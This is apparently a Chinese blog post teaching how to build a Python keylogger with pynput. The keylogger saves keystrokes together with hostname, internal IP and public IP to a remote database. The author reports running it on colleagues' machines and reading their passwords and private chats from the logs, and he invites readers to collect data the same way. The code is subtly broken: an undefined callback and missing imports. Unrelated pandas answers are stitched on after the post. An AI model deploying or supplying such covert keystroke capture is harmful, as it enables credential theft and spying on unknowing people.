python 监听键盘输入并收集数据进行分析

1、键盘监听库pynput

使用pynput可以很方便地实现对键盘输入的监听,我们先看一个最简单的实现键盘监听的demo

from pynput import keyboard
def on_press(key):
    print(key)
if __name__=="__main__":
    with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
        lsn.join()

我们执行来看看
在这里插入图片描述

执行了上述的代码后,我们继续在编辑 器中输入了abcdefg并按了一次退格,接着我通过截图的快捷键进行截图,所有的操作都被记录在了控制台中。

2、进行键盘输入的数据保存

既然我们能对数据进行监听,那么为了能够在后续实现对键盘输入数据的分析,我们可以制定周期执行计划,将每个周期内的键盘输入保存到数据库中。这部分我们通过修改上面的demo中的on_press函数来实现。

import time
global_time = time.time()
loglist = []
hostname = socket.gethostname()
host = socket.gethostbyname(hostname)
def parse_log():
    """解析键盘输入日志"""
    global loglist, host, hostname
    my_ip = str(urlopen('http://ip.42.pl/raw').read()).replace("'", "").replace("b", "")
    try:
        temp = [str(i).strip().replace("'", "") for i in loglist]
        if temp:
            content = " ".join(temp)
            content = content.replace("Key.backspace", " ")
            struct_time = time.localtime(time.time())  # 得到结构化时间格式
            now_time = time.strftime("%Y-%m-%d %H:%M:%S", struct_time)
            dbutil().insert(
                "insert into event(log_time, log, host, hostname,ip) values ('{}','{}','{}','{}','{}')".format(now_time, content, host, hostname,
                                                                                                               my_ip))
            loglist = loglist[len(temp):]
    except Exception as e:
        traceback.print_exc(e)
def on_press(key):
    global global_time, loglist
    # 每5分钟读写一次
    if (time.time() - global_time) >= 300:
        parse_log()
        global_time = time.time()
    loglist.append(key)

上述连接数据库的工具类就不作过多赘述了,需要完整代码的可以转到文章末尾获取链接。
为了对收集的键盘输入来源标记,这里会在脚本启动时获取当前主机的主机名称,内网ip和公网ip。每次键盘的输入事件会记录在一个全局列表中,在每次执行完成后删除已经保存到数据库的内容。

3、从键盘监听中我们能看出什么

由于键盘输入的数据比较混乱,因此目前还没有实现针对输入数据的代码。下面我展示我监听的几位小伙伴的电脑输入来推测下大家都在干嘛。

3.1 疯狂的ctrl=读代码ing

(img-uQVRjhYv-1647268720056)(WEBRESOURCEd53d3d31eb33a3320613661d7a33faa6)]

上面这张图我们看到当前用户正在疯狂按住ctrl,所以这个时候是在看项目代码,点击查看各个函数的具体用法。

3.2 看起来有意义的字符串并以Key.enter结尾≈输入某个app密码ing

在这里插入图片描述

当我们看到上图这部分可以很明显地感知到当前用户在输入密码信息,123456 以及 smile…后都接上了回车键

3.3 拼音(自行识别)

在这里插入图片描述

这里我们通过识别拼音发现当前用户正在聊天而且聊得很开心,又是“哈哈哈哈哈”,又是“坏姐姐”的。

3.4 代码关键字判断用户在写什么语言的代码

这里我监听的小伙伴们中,通过键盘输入日志发现有的在写前端,有的在写java,还有的在写python。这里就不一一列举了,这些都可以在后续通过自己写逻辑进行识别出来。
至于怎么获取足够的数据就要看大家自己的操作了。
在这里插入图片描述

4、完整代码获取

完整代码关注以下wx公众号**“一颗程序树”**回复"0080"获取git下载地址
在这里插入图片描述

### 回答1: Python可以使用pandas库来读取Excel数据,并进行数据分析。具体步骤如下: 1. 安装pandas库:在命令行中输入pip install pandas,即可安装pandas库。 2. 导入pandas库:在Python脚本中导入pandas库,如下所示: import pandas as pd 3. 读取Excel数据:使用pandas库中的read_excel函数来读取Excel数据,如下所示: data = pd.read_excel('data.xlsx') 其中,data.xlsx为Excel文件名,可以是相对路径或绝对路径。 4. 进行数据分析:使用pandas库中的各种函数和方法来进行数据分析,如下所示: (1)查看数据前几行:使用head函数,如下所示: data.head() (2)查看数据基本信息:使用info函数,如下所示: data.info() (3)统计数据基本情况:使用describe函数,如下所示: data.describe() (4)筛选数据:使用loc和iloc函数,如下所示: data.loc[data['列名'] > 10] data.iloc[:10, :5] (5)数据可视化:使用matplotlib库或seaborn库进行数据可视化,如下所示: import matplotlib.pyplot as plt plt.plot(data['列名']) 以上就是Python读取Excel数据进行数据分析的基本步骤。 ### 回答2: Python是一种非常流行的编程语言,具有强大的数据分析功能,可以利用它来读取Excel数据进行分析。有许多库和模块可用于读取Excel数据,其中最常用的是pandas库。pandas库可以轻松地读取、处理和分析Excel数据,其主要数据结构是DataFrame,可将数据组织成表格形式。 步骤如下: 1.安装pandas库 首先需要安装pandas库。在命令行中输入以下命令即可: pip install pandas 2.导入pandas库 导入pandas库之前,需要先将Excel文件转化为CSV文件,以便于使用pandas库导入数据。CSV文件是一种纯文本格式,它由逗号分隔的值组成,可以被Excel轻松地导出。 导入pandas库的代码如下: import pandas as pd 3.读取数据 在导入pandas库之后,可以使用pandas的read_csv()函数读取CSV文件。以下是读取Excel数据的基本语法: data = pd.read_csv("data.csv") 其中,“data.csv”是要读取的CSV文件名,data是DataFrame对象,它包含读取的数据。 4.数据分析 一旦数据被读入,可以对其进行各种类型的数据分析。例如,可以计算数据集的总和、均值、标准差和方差。pandas库提供了一种方便的方法来执行这些计算,可以使用describe()函数来获得有关数据集的基本统计信息: data.describe() 5.绘图 使用Matplotlib库进行数据可视化和绘图。可以将分析的结果制成直方图、散点图等,更直观的呈现出来。 import matplotlib.pyplot as plt plt.scatter(x=data['age'], y=data['income']) plt.xlabel('Age') plt.ylabel('Income') plt.title('Age vs Income') plt.show() 上述代码会生成age和income之间的散点图。 总之,Python是一种强大的数据分析工具,可以方便的读取Excel数据,并进行数据分析。使用pandas库可以轻松地将数据组织成表格形式,而使用Matplotlib库可以制作各种数据可视化图表。通过数据分析,可以更深入地理解数据、发现数据中蕴含的规律和特征,为后续的决策提供有力的支持。 ### 回答3: Python是一门很流行的编程语言,它支持处理大量的数据,可以帮助我们快速读取Excel文件中的数据,并进行数据分析Python读取Excel数据可以使用第三方库pandas,pandas提供了read_excel函数用于读取excel文件。使用起来也很简单,只需要引入pandas库,然后使用read_excel函数读取excel文件,如下所示: ``` import pandas as pd data = pd.read_excel('data.xlsx') ``` 这样就可以把data.xlsx文件中的数据读取到data变量中了。接下来可以使用pandas的一系列函数进行数据分析。 首先,可以使用data.head()函数查看前5行数据,查看数据的格式是否正确。也可以使用data.tail()函数查看后5行数据。 ``` print(data.head()) print(data.tail()) ``` 然后,可以使用data.describe()函数查看数据的基本统计信息,如平均值,标准差,最小值,最大值等等。 ``` print(data.describe()) ``` 如果需要查看某一列的统计信息,可以使用data['columnName'].describe()函数,其中'columnName'是需要查看的列的名称。 另外,如果需要查看某一列的分布情况,可以使用data['columnName'].value_counts()函数,其中'columnName'是需要查看的列的名称。 最后,如果需要对数据进行可视化,可以使用matplotlib库和seaborn库,这两个库提供了绘制数据分布图形的函数。 总之,Python读取Excel数据进行数据分析是非常方便和简单的,只需要掌握一些基本的函数,就可以对数据进行深入的分析和可视化。
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Demonslzh6

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值